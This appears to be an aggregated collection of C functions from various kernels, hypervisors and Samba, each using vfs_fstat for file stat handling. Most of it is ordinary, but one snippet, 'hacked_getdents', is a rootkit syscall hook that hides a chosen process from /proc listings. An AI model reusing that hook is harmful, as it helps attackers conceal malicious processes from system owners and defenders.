SYSCALL_DEFINE2(newfstat, unsigned int, fd, struct stat __user *, statbuf) { struct kstat stat; int error = vfs_fstat(fd, &stat); if (!error) error = cp_new_stat(&stat, statbuf); return error; }
asmlinkage long sys_fstat(unsigned int fd, struct __old_kernel_stat __user * statbuf) { struct kstat stat; int error = vfs_fstat(fd, &stat); if (!error) error = cp_old_stat(&stat, statbuf); return error; }
SYSCALL_DEFINE2(fstat64, unsigned long, fd, struct stat64 __user *, statbuf) { struct kstat stat; int error = vfs_fstat(fd, &stat); if (!error) error = cp_new_stat64(&stat, statbuf); return error; }
asmlinkage long compat_sys_fstat64(unsigned int fd, struct compat_stat64 __user * statbuf) { struct kstat stat; int error = vfs_fstat(fd, &stat); if (!error) error = cp_compat_stat64(&stat, statbuf); return error; }
long hpux_fstat64(unsigned int fd, struct hpux_stat64 __user *statbuf) { struct kstat stat; int error = vfs_fstat(fd, &stat); if (!error) error = cp_hpux_stat(&stat, statbuf); return error; }
asmlinkage long sys_fstat64(unsigned long fd, struct stat64 __user * statbuf) { struct kstat stat; int error = vfs_fstat(fd, &stat); if (!error) error = cp_new_stat64(&stat, statbuf); return error; }
int svr4_fstat(int fd, struct svr4_stat *bufp) { struct kstat st; int error; error = vfs_fstat(fd, &st); if (!error) error = report_svr4_stat(&st, bufp); return error; }
/** Handler for doing an FSTAT in a FAF open file. * @author Renaud Lottiaux * * @param from Node sending the request * @param msgIn Request message */ void handle_faf_fstat (struct rpc_desc* desc, void *msgIn, size_t size) { struct kstat statbuf; struct faf_stat_msg *msg = msgIn; long r; r = vfs_fstat (msg->server_fd, &statbuf); rpc_pack_type(desc, r); rpc_pack_type(desc, statbuf); }
int sys_fstat(int fd, struct stat *buf) { struct process *proc; proc = process_get_current(); if(fd>=0 && fd<PROCESS_MAX_FILE && proc->files[fd] != NULL) { return vfs_fstat(proc->files[fd], buf); } else { printk(LOG_DEBUG, "sys_fstat: invalid fd\n"); } return -1; }
long my_sys_open(const char __user *filename, int flags, int mode) { long ret; struct kstat stat; ret = call_sys_open(filename, flags, mode); // the return from call_sys_open is file descriptor vfs_fstat(ret, &stat); if (kstat_tree_contain(&kstat_tree_blacklist, &stat)) { printk(KERN_DEBUG "file %s has been opened with mode %d", filename, mode); return -EACCES; } return ret; }
//the hacked sys_getdents64 //劫持后更换的系统调用 asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count) { long value = 0; unsigned short len = 0; unsigned short tlen = 0; int pid; struct kstat fbuf; // printk(KERN_ALERT "hidden get dents/n"); vfs_fstat(fd, &fbuf);//获取文件信息 // printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d/n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev)); if(orig_getdents != NULL) { //执行旧的系统调用 value = (*orig_getdents)(fd, dirp, count); // if the file is in /proc //判断文件是否是/proc下的文件 if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3) { //printk(KERN_ALERT "this is proc"); tlen = value; while(tlen>0){ len = dirp->d_reclen; tlen = tlen-len; //printk(KERN_ALERT "dname:%s,",dirp->d_name); //获取进程号 pid = atoi(dirp->d_name); //printk(KERN_ALERT "pid:%d/n", pid); if(pid ==HIDEPID) { //printk(KERN_ALERT "find process/n"); //remove the hidden process //从/proc去除进程文件 memmove(dirp, (char*)dirp + dirp->d_reclen, tlen); value = value -len; //printk(KERN_ALERT "hide successful/n"); } if(tlen) dirp = (struct linux_dirent64 *)((char*)dirp + dirp->d_reclen); } } } else printk(KERN_ALERT "orig_getdents is null/n"); return value; }
int image_load(const char *path, struct format *output_format, struct fb_image *image) { int fd = 0; int err = 0; char *buf = NULL; size_t len = 0; struct stat stat; parser parse_func; if (NULL == path) return VMM_EFAIL; if (0 > (fd = vfs_open(path, O_RDONLY, 0))) return fd; if (VMM_OK != (err = vfs_fstat(fd, &stat))) { goto out; } if (NULL == (buf = vmm_malloc(stat.st_size))) { err = VMM_ENOMEM; goto out; } len = vfs_read(fd, buf, stat.st_size); if (NULL == (parse_func = parser_get(buf, len))) { vmm_printf("Unsupported format\n"); err = VMM_EFAIL; goto out; } err = parse_func(buf, len, image, output_format); out: if ((VMM_OK != err) && buf) vmm_free(buf); if (fd >= 0) vfs_close(fd); return err; }
/* * echo string to current terminal display(serial console or tty). * this implement implicit that current task file handle '0' must be terminal device file. * otherwise do nothing. */ HI_VOID HI_DRV_PROC_EchoHelper(const HI_CHAR *string) { #define DEFAULT_ECHO_DEVICE_HANDLE (0) struct kstat stat; HI_S32 ret; if (!string) return; ret = vfs_fstat(DEFAULT_ECHO_DEVICE_HANDLE, &stat); if (ret) { HI_PRINT("Default echo device handle(%u) invalid!\n", DEFAULT_ECHO_DEVICE_HANDLE); return; } /* echo device must be chrdev and major number must be TTYAUX_MAJOR or UNIX98_PTY_SLAVE_MAJOR */ if ( S_ISCHR(stat.mode) && (MAJOR(stat.rdev) == TTYAUX_MAJOR || MAJOR(stat.rdev) == UNIX98_PTY_SLAVE_MAJOR) ) { struct file *file = fget(DEFAULT_ECHO_DEVICE_HANDLE); if (file) { mm_segment_t stOld_FS = {0}; /* file pos is invalid for chrdev */ loff_t pos = 0; set_fs(KERNEL_DS); ret = vfs_write(file, string, strlen(string), &pos); if (ret < 0) { HI_PRINT("write to echo device failed(%d)!\n", ret); } set_fs(stOld_FS); fput(file); } } else { HI_PRINT("Default echo device is invalid!\n"); } }
int svr4_fxstat(int vers, int fd, void *bufp) { struct kstat st; int error; error = vfs_fstat(fd, &st); if (error) return error; switch (vers) { case SVR4_stat: return report_svr4_stat(&st, bufp); case SVR4_xstat: return report_svr4_xstat(&st, bufp); } #if defined(CONFIG_ABI_TRACE) abi_trace(ABI_TRACE_API, "fxstat version %d not supported\n", vers); #endif return -EINVAL; }
static int get_user_hash(const char *user, u8 *dst_hash, u32 dst_len) { int fd, rc; u32 len; size_t buf_rd; char buf[VFS_LOAD_BUF_SZ]; struct stat st; u32 tok_len; char *token, *save; const char *delim = "\n"; u32 end, cleanup = 0; const char *path = CONFIG_LIBAUTH_FILE; fd = vfs_open(path, O_RDONLY, 0); if (fd < 0) { return VMM_EFAIL; } rc = vfs_fstat(fd, &st); if (rc) { vfs_close(fd); return VMM_EFAIL; } if (!(st.st_mode & S_IFREG)) { vfs_close(fd); return VMM_EFAIL; } len = st.st_size; while (len) { memset(buf, 0, sizeof(buf)); buf_rd = (len < VFS_LOAD_BUF_SZ) ? len : VFS_LOAD_BUF_SZ; buf_rd = vfs_read(fd, buf, buf_rd); if (buf_rd < 1) { break; } end = buf_rd - 1; while (buf[end] != '\n') { buf[end] = 0; end--; cleanup++; } if (cleanup) { vfs_lseek(fd, (buf_rd - cleanup), SEEK_SET); cleanup = 0; } for (token = strtok_r(buf, delim, &save); token; token = strtok_r(NULL, delim, &save)) { tok_len = strlen(token); if (*token != '#' && *token != '\n') { if (process_auth_entry(token, user, dst_hash, dst_len) == VMM_OK) return VMM_OK; } len -= (tok_len + 1); } } rc = vfs_close(fd); if (rc) { return VMM_EFAIL; } return VMM_EFAIL; }
static int cmd_vfs_load(struct vmm_chardev *cdev, struct vmm_guest *guest, physical_addr_t pa, const char *path, u32 off, u32 len) { int fd, rc; loff_t rd_off; physical_addr_t wr_pa; size_t buf_wr, buf_rd, buf_count, wr_count; char buf[VFS_LOAD_BUF_SZ]; struct stat st; fd = vfs_open(path, O_RDONLY, 0); if (fd < 0) { vmm_cprintf(cdev, "Failed to open %s\n", path); return fd; } rc = vfs_fstat(fd, &st); if (rc) { vfs_close(fd); vmm_cprintf(cdev, "Failed to stat %s\n", path); return rc; } if (!(st.st_mode & S_IFREG)) { vfs_close(fd); vmm_cprintf(cdev, "Cannot read %s\n", path); return VMM_EINVALID; } if (off >= st.st_size) { vfs_close(fd); vmm_cprintf(cdev, "Offset greater than file size\n"); return VMM_EINVALID; } len = ((st.st_size - off) < len) ? (st.st_size - off) : len; rd_off = 0; wr_count = 0; wr_pa = pa; while (len) { buf_rd = (len < VFS_LOAD_BUF_SZ) ? len : VFS_LOAD_BUF_SZ; buf_count = vfs_read(fd, buf, buf_rd); if (buf_count < 1) { vmm_cprintf(cdev, "Failed to read " "%d bytes @ 0x%llx from %s\n", buf_rd, (u64)rd_off, path); break; } rd_off += buf_count; if (guest) { buf_wr = vmm_guest_memory_write(guest, wr_pa, buf, buf_count, FALSE); } else { buf_wr = vmm_host_memory_write(wr_pa, buf, buf_count, FALSE); } if (buf_wr != buf_count) { vmm_cprintf(cdev, "Failed to write " "%d bytes @ 0x%llx (%s)\n", buf_count, (u64)wr_pa, (guest) ? (guest->name) : "host"); break; } len -= buf_wr; wr_count += buf_wr; wr_pa += buf_wr; } vmm_cprintf(cdev, "%s: Loaded 0x%llx with %d bytes\n", (guest) ? (guest->name) : "host", (u64)pa, wr_count); rc = vfs_close(fd); if (rc) { vmm_cprintf(cdev, "Failed to close %s\n", path); return rc; } return VMM_OK; }
static int cmd_vfs_fdt_load(struct vmm_chardev *cdev, const char *devtree_path, const char *devtree_root_name, const char *path, int aliasc, char **aliasv) { int a, fd, rc = VMM_OK; char *astr; const char *aname, *apath, *aattr, *atype; size_t fdt_rd; void *fdt_data, *val = NULL; u32 val_type, val_len = 0; struct stat st; struct vmm_devtree_node *root, *anode, *node; struct vmm_devtree_node *parent; struct fdt_fileinfo fdt; parent = vmm_devtree_getnode(devtree_path); if (!parent) { vmm_cprintf(cdev, "Devtree path %s does not exist.\n", devtree_path); return VMM_EINVALID; } root = vmm_devtree_getchild(parent, devtree_root_name); if (root) { vmm_devtree_dref_node(root); vmm_cprintf(cdev, "Devtree path %s/%s already exist.\n", devtree_path, devtree_root_name); rc = VMM_EINVALID; goto fail; } fd = vfs_open(path, O_RDONLY, 0); if (fd < 0) { vmm_cprintf(cdev, "Failed to open %s\n", path); rc = fd; goto fail; } rc = vfs_fstat(fd, &st); if (rc) { vmm_cprintf(cdev, "Path %s does not exist.\n", path); goto fail_closefd; } if (!(st.st_mode & S_IFREG)) { vmm_cprintf(cdev, "Path %s should be regular file.\n", path); rc = VMM_EINVALID; goto fail_closefd; } if (!st.st_size) { vmm_cprintf(cdev, "File %s has zero %d bytes.\n", path); rc = VMM_EINVALID; goto fail_closefd; } if (st.st_size > VFS_MAX_FDT_SZ) { vmm_cprintf(cdev, "File %s has size %d bytes (> %d bytes).\n", path, (long)st.st_size, VFS_MAX_FDT_SZ); rc = VMM_EINVALID; goto fail_closefd; } fdt_data = vmm_zalloc(VFS_MAX_FDT_SZ); if (!fdt_data) { rc = VMM_ENOMEM; goto fail_closefd; } fdt_rd = vfs_read(fd, fdt_data, VFS_MAX_FDT_SZ); if (fdt_rd < st.st_size) { rc = VMM_EIO; goto fail_freedata; } rc = libfdt_parse_fileinfo((virtual_addr_t)fdt_data, &fdt); if (rc) { goto fail_freedata; } root = NULL; rc = libfdt_parse_devtree(&fdt, &root, devtree_root_name, parent); if (rc) { goto fail_freedata; } anode = vmm_devtree_getchild(root, VMM_DEVTREE_ALIASES_NODE_NAME); for (a = 0; a < aliasc; a++) { if (!anode) { vmm_cprintf(cdev, "Error: %s node not available\n", VMM_DEVTREE_ALIASES_NODE_NAME); continue; } astr = aliasv[a]; aname = astr; while (*astr != '\0' && *astr != ',') { astr++; } if (*astr == ',') { *astr = '\0'; astr++; } if (*astr == '\0') { continue; } aattr = astr; while (*astr != '\0' && *astr != ',') { astr++; } if (*astr == ',') { *astr = '\0'; astr++; } if (*astr == '\0') { continue; } atype = astr; while (*astr != '\0' && *astr != ',') { astr++; } if (*astr == ',') { *astr = '\0'; astr++; } if (*astr == '\0') { continue; } if (vmm_devtree_read_string(anode, aname, &apath)) { vmm_cprintf(cdev, "Error: Failed to read %s attribute " "of %s node\n", aname, VMM_DEVTREE_ALIASES_NODE_NAME); continue; } node = vmm_devtree_getchild(root, apath); if (!node) { vmm_cprintf(cdev, "Error: %s node not found under " "%s/%s\n", apath, devtree_path, devtree_root_name); continue; } if (!strcmp(atype, "unknown")) { val = NULL; val_len = 0; val_type = VMM_DEVTREE_MAX_ATTRTYPE; } else if (!strcmp(atype, "string")) { val_len = strlen(astr) + 1; val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } strcpy(val, astr); val_type = VMM_DEVTREE_ATTRTYPE_STRING; } else if (!strcmp(atype, "bytes")) { val_len = 1; val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } *((u8 *)val) = strtoul(astr, NULL, 0); val_type = VMM_DEVTREE_ATTRTYPE_BYTEARRAY; } else if (!strcmp(atype, "uint32")) { val_len = 4; val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } *((u32 *)val) = strtoul(astr, NULL, 0); val_type = VMM_DEVTREE_ATTRTYPE_UINT32; } else if (!strcmp(atype, "uint64")) { val_len = 8; val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } *((u64 *)val) = strtoull(astr, NULL, 0); val_type = VMM_DEVTREE_ATTRTYPE_UINT64; } else if (!strcmp(atype, "physaddr")) { val_len = sizeof(physical_addr_t); val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } *((physical_addr_t *)val) = strtoull(astr, NULL, 0); val_type = VMM_DEVTREE_ATTRTYPE_PHYSADDR; } else if (!strcmp(atype, "physsize")) { val_len = sizeof(physical_size_t); val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } *((physical_size_t *)val) = strtoull(astr, NULL, 0); val_type = VMM_DEVTREE_ATTRTYPE_PHYSSIZE; } else if (!strcmp(atype, "virtaddr")) { val_len = sizeof(virtual_addr_t); val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } *((virtual_addr_t *)val) = strtoull(astr, NULL, 0); val_type = VMM_DEVTREE_ATTRTYPE_VIRTADDR; } else if (!strcmp(atype, "virtsize")) { val_len = sizeof(virtual_size_t); val = vmm_zalloc(val_len); if (!val) { vmm_cprintf(cdev, "Error: vmm_zalloc(%d) " "failed\n", val_len); goto next_iter; } *((virtual_size_t *)val) = strtoull(astr, NULL, 0); val_type = VMM_DEVTREE_ATTRTYPE_VIRTSIZE; } else { vmm_cprintf(cdev, "Error: Invalid attribute type %s\n", atype); goto next_iter; } if (val && (val_len > 0)) { vmm_devtree_setattr(node, aattr, val, val_type, val_len, FALSE); vmm_free(val); } next_iter: vmm_devtree_dref_node(node); } vmm_devtree_dref_node(anode); fail_freedata: vmm_free(fdt_data); fail_closefd: vfs_close(fd); fail: vmm_devtree_dref_node(parent); return rc; }
static int cmd_vfs_cat(struct vmm_chardev *cdev, const char *path) { int fd, rc; u32 i, off, len; bool found_non_printable; size_t buf_rd; char buf[VFS_LOAD_BUF_SZ]; struct stat st; fd = vfs_open(path, O_RDONLY, 0); if (fd < 0) { vmm_cprintf(cdev, "Failed to open %s\n", path); return fd; } rc = vfs_fstat(fd, &st); if (rc) { vfs_close(fd); vmm_cprintf(cdev, "Failed to stat %s\n", path); return rc; } if (!(st.st_mode & S_IFREG)) { vfs_close(fd); vmm_cprintf(cdev, "Cannot read %s\n", path); return VMM_EINVALID; } off = 0; len = st.st_size; while (len) { buf_rd = (len < VFS_LOAD_BUF_SZ) ? len : VFS_LOAD_BUF_SZ; buf_rd = vfs_read(fd, buf, buf_rd); if (buf_rd < 1) { break; } found_non_printable = FALSE; for (i = 0; i < buf_rd; i++) { if (!vmm_isprintable(buf[i])) { found_non_printable = TRUE; break; } vmm_cputc(cdev, buf[i]); } if (found_non_printable) { vmm_cprintf(cdev, "\nFound non-printable char %d " "at offset %d\n", buf[i], (off + i)); break; } off += buf_rd; len -= buf_rd; } rc = vfs_close(fd); if (rc) { vmm_cprintf(cdev, "Failed to close %s\n", path); return rc; } return VMM_OK; }
static int cmd_vfs_run(struct vmm_chardev *cdev, const char *path) { int fd, rc; u32 len; size_t buf_rd; char buf[VFS_LOAD_BUF_SZ]; struct stat st; u32 tok_len; char *token, *save; const char *delim = "\n"; u32 end, cleanup = 0; fd = vfs_open(path, O_RDONLY, 0); if (fd < 0) { vmm_cprintf(cdev, "Failed to open %s\n", path); return fd; } rc = vfs_fstat(fd, &st); if (rc) { vfs_close(fd); vmm_cprintf(cdev, "Failed to stat %s\n", path); return rc; } if (!(st.st_mode & S_IFREG)) { vfs_close(fd); vmm_cprintf(cdev, "Cannot read %s\n", path); return VMM_EINVALID; } len = st.st_size; while (len) { memset(buf, 0, sizeof(buf)); buf_rd = (len < VFS_LOAD_BUF_SZ) ? len : VFS_LOAD_BUF_SZ; buf_rd = vfs_read(fd, buf, buf_rd); if (buf_rd < 1) { break; } end = buf_rd - 1; while (buf[end] != '\n') { buf[end] = 0; end--; cleanup++; } if (cleanup) { vfs_lseek(fd, (buf_rd - cleanup), SEEK_SET); cleanup = 0; } for (token = strtok_r(buf, delim, &save); token; token = strtok_r(NULL, delim, &save)) { tok_len = strlen(token); if (*token != '#' && *token != '\n') { vmm_cmdmgr_execute_cmdstr(cdev, token, NULL); } len -= (tok_len + 1); } } rc = vfs_close(fd); if (rc) { vmm_cprintf(cdev, "Failed to close %s\n", path); return rc; } return VMM_OK; }
static int cmd_vfs_load_list(struct vmm_chardev *cdev, struct vmm_guest *guest, const char *path) { loff_t rd_off; struct stat st; int fd, rc, pos; physical_addr_t pa; char c, *addr, *file, buf[VFS_LOAD_BUF_SZ+1]; fd = vfs_open(path, O_RDONLY, 0); if (fd < 0) { vmm_cprintf(cdev, "Failed to open %s\n", path); return fd; } rc = vfs_fstat(fd, &st); if (rc) { vfs_close(fd); vmm_cprintf(cdev, "Failed to stat %s\n", path); return rc; } if (!(st.st_mode & S_IFREG)) { vfs_close(fd); vmm_cprintf(cdev, "Cannot read %s\n", path); return VMM_EINVALID; } rd_off = 0; pos = 0; while (vfs_read(fd, &c, 1) == 1) { if (pos == VFS_LOAD_BUF_SZ) { vmm_cprintf(cdev, "Line exceeds limit of " "%d chars at offset 0x%llx\n", VFS_LOAD_BUF_SZ, (u64)rd_off); break; } if (c == '\n' || c == '\r') { buf[pos] = '\0'; while ((pos > 0) && ((buf[pos - 1] == ' ') || (buf[pos - 1] == '\t'))) { pos--; buf[pos] = '\0'; } addr = &buf[0]; while ((*addr == ' ') || (*addr == '\t')) { addr++; } if (*addr == '\0') { goto skip_line; } file = addr; while ((*file != ' ') && (*file != '\t') && (*file != '\0')) { file++; } if (*file == '\0') { goto skip_line; } while ((*file == ' ') || (*file == '\t')) { *file = '\0'; file++; } if (*file == '\0') { goto skip_line; } pa = (physical_addr_t)strtoull(addr, NULL, 0); vmm_cprintf(cdev, "%s: Loading 0x%llx with file %s\n", (guest) ? (guest->name) : "host", (u64)pa, file); rc = cmd_vfs_load(cdev, guest, pa, file, 0, 0xFFFFFFFF); if (rc) { vmm_cprintf(cdev, "error %d\n", rc); break; } skip_line: pos = 0; } else if (vmm_isprintable(c)) { buf[pos] = c; pos++; } else { vmm_cprintf(cdev, "Non-printable char at " "offset 0x%llx\n", (u64)rd_off); break; } rd_off++; } rc = vfs_close(fd); if (rc) { vmm_cprintf(cdev, "Failed to close %s\n", path); return rc; } return VMM_OK; }
static BOOL open_file(files_struct *fsp,connection_struct *conn, const char *fname1,SMB_STRUCT_STAT *psbuf,int flags,mode_t mode, uint32 desired_access) { extern struct current_user current_user; pstring fname; int accmode = (flags & O_ACCMODE); int local_flags = flags; fsp->fd = -1; fsp->oplock_type = NO_OPLOCK; errno = EPERM; pstrcpy(fname,fname1); /* Check permissions */ /* * This code was changed after seeing a client open request * containing the open mode of (DENY_WRITE/read-only) with * the 'create if not exist' bit set. The previous code * would fail to open the file read only on a read-only share * as it was checking the flags parameter directly against O_RDONLY, * this was failing as the flags parameter was set to O_RDONLY|O_CREAT. * JRA. */ if (!CAN_WRITE(conn)) { /* It's a read-only share - fail if we wanted to write. */ if(accmode != O_RDONLY) { DEBUG(3,("Permission denied opening %s\n",fname)); check_for_pipe(fname); return False; } else if(flags & O_CREAT) { /* We don't want to write - but we must make sure that O_CREAT doesn't create the file if we have write access into the directory. */ flags &= ~O_CREAT; } } /* * This little piece of insanity is inspired by the * fact that an NT client can open a file for O_RDONLY, * but set the create disposition to FILE_EXISTS_TRUNCATE. * If the client *can* write to the file, then it expects to * truncate the file, even though it is opening for readonly. * Quicken uses this stupid trick in backup file creation... * Thanks *greatly* to "David W. Chapman Jr." <*****@*****.**> * for helping track this one down. It didn't bite us in 2.0.x * as we always opened files read-write in that release. JRA. */ if ((accmode == O_RDONLY) && ((flags & O_TRUNC) == O_TRUNC)) { DEBUG(10,("open_file: truncate requested on read-only open for file %s\n",fname )); local_flags = (flags & ~O_ACCMODE)|O_RDWR; } /* actually do the open */ if ((desired_access & (FILE_READ_DATA|FILE_WRITE_DATA|FILE_APPEND_DATA|FILE_EXECUTE)) || (local_flags & O_CREAT) || ((local_flags & O_TRUNC) == O_TRUNC) ) { /* * We can't actually truncate here as the file may be locked. * open_file_shared will take care of the truncate later. JRA. */ local_flags &= ~O_TRUNC; #if defined(O_NONBLOCK) && defined(S_ISFIFO) /* * We would block on opening a FIFO with no one else on the * other end. Do what we used to do and add O_NONBLOCK to the * open flags. JRA. */ if (VALID_STAT(*psbuf) && S_ISFIFO(psbuf->st_mode)) local_flags |= O_NONBLOCK; #endif fsp->fd = fd_open(conn, fname, local_flags, mode); if (fsp->fd == -1) { DEBUG(3,("Error opening file %s (%s) (local_flags=%d) (flags=%d)\n", fname,strerror(errno),local_flags,flags)); check_for_pipe(fname); return False; } } else fsp->fd = -1; /* What we used to call a stat open. */ if (!VALID_STAT(*psbuf)) { int ret; if (fsp->fd == -1) ret = vfs_stat(conn, fname, psbuf); else { ret = vfs_fstat(fsp,fsp->fd,psbuf); /* If we have an fd, this stat should succeed. */ if (ret == -1) DEBUG(0,("Error doing fstat on open file %s (%s)\n", fname,strerror(errno) )); } /* For a non-io open, this stat failing means file not found. JRA */ if (ret == -1) { fd_close(conn, fsp); return False; } } /* * POSIX allows read-only opens of directories. We don't * want to do this (we use a different code path for this) * so catch a directory open and return an EISDIR. JRA. */ if(S_ISDIR(psbuf->st_mode)) { fd_close(conn, fsp); errno = EISDIR; return False; } fsp->mode = psbuf->st_mode; fsp->inode = psbuf->st_ino; fsp->dev = psbuf->st_dev; fsp->vuid = current_user.vuid; fsp->size = psbuf->st_size; fsp->pos = -1; fsp->can_lock = True; fsp->can_read = ((flags & O_WRONLY)==0); fsp->can_write = ((flags & (O_WRONLY|O_RDWR))!=0); fsp->share_mode = 0; fsp->desired_access = desired_access; fsp->print_file = False; fsp->modified = False; fsp->oplock_type = NO_OPLOCK; fsp->sent_oplock_break = NO_BREAK_SENT; fsp->is_directory = False; fsp->directory_delete_on_close = False; fsp->conn = conn; /* * Note that the file name here is the *untranslated* name * ie. it is still in the DOS codepage sent from the client. * All use of this filename will pass though the sys_xxxx * functions which will do the dos_to_unix translation before * mapping into a UNIX filename. JRA. */ string_set(&fsp->fsp_name,fname); fsp->wbmpx_ptr = NULL; fsp->wcp = NULL; /* Write cache pointer. */ DEBUG(2,("%s opened file %s read=%s write=%s (numopen=%d)\n", *current_user_info.smb_name ? current_user_info.smb_name : conn->user,fsp->fsp_name, BOOLSTR(fsp->can_read), BOOLSTR(fsp->can_write), conn->num_files_open + 1)); return True; }
static void vfs_connection(ipc_callid_t iid, ipc_call_t *icall, void *arg) { bool cont = true; /* * The connection was opened via the IPC_CONNECT_ME_TO call. * This call needs to be answered. */ async_answer_0(iid, EOK); while (cont) { ipc_call_t call; ipc_callid_t callid = async_get_call(&call); if (!IPC_GET_IMETHOD(call)) break; switch (IPC_GET_IMETHOD(call)) { case VFS_IN_REGISTER: vfs_register(callid, &call); cont = false; break; case VFS_IN_MOUNT: vfs_mount(callid, &call); break; case VFS_IN_UNMOUNT: vfs_unmount(callid, &call); break; case VFS_IN_OPEN: vfs_open(callid, &call); break; case VFS_IN_CLOSE: vfs_close(callid, &call); break; case VFS_IN_READ: vfs_read(callid, &call); break; case VFS_IN_WRITE: vfs_write(callid, &call); break; case VFS_IN_SEEK: vfs_seek(callid, &call); break; case VFS_IN_TRUNCATE: vfs_truncate(callid, &call); break; case VFS_IN_FSTAT: vfs_fstat(callid, &call); break; case VFS_IN_STAT: vfs_stat(callid, &call); break; case VFS_IN_MKDIR: vfs_mkdir(callid, &call); break; case VFS_IN_UNLINK: vfs_unlink(callid, &call); break; case VFS_IN_RENAME: vfs_rename(callid, &call); break; case VFS_IN_SYNC: vfs_sync(callid, &call); break; case VFS_IN_DUP: vfs_dup(callid, &call); break; case VFS_IN_WAIT_HANDLE: vfs_wait_handle(callid, &call); break; case VFS_IN_MTAB_GET: vfs_get_mtab(callid, &call); break; default: async_answer_0(callid, ENOTSUP); break; } } /* * Open files for this client will be cleaned up when its last * connection fibril terminates. */ }
/* fstat */ void msg_fstat(message_t msg) { msg->w1 = vfs_fstat(msg->tid, msg->w2, msg->rcv_ptr); reply_message(msg->tid, msg); }